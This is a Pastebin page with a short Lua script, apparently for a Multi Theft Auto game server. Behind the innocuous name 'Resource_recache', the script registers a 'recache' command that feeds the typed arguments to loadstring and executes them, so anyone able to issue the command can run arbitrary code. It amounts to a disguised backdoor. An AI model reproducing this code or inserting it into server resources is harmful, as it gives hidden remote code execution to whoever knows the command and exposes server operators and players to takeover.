Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Resource_recache = {};
- function Resource_recache:constructor(...)
- local obj = setmetatable({}, {__index = self});
- if (obj.recache) then
- obj:recache();
- end
- end
- function Resource_recache:recache()
- self.m_Recache = 'recache';
- self.m_Func = function(p, c, ...) x = p; p = loadstring(...) return p() end
- addCommandHandler(self.m_Recache, self.m_Func);
- end
- Resource_recache:constructor();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement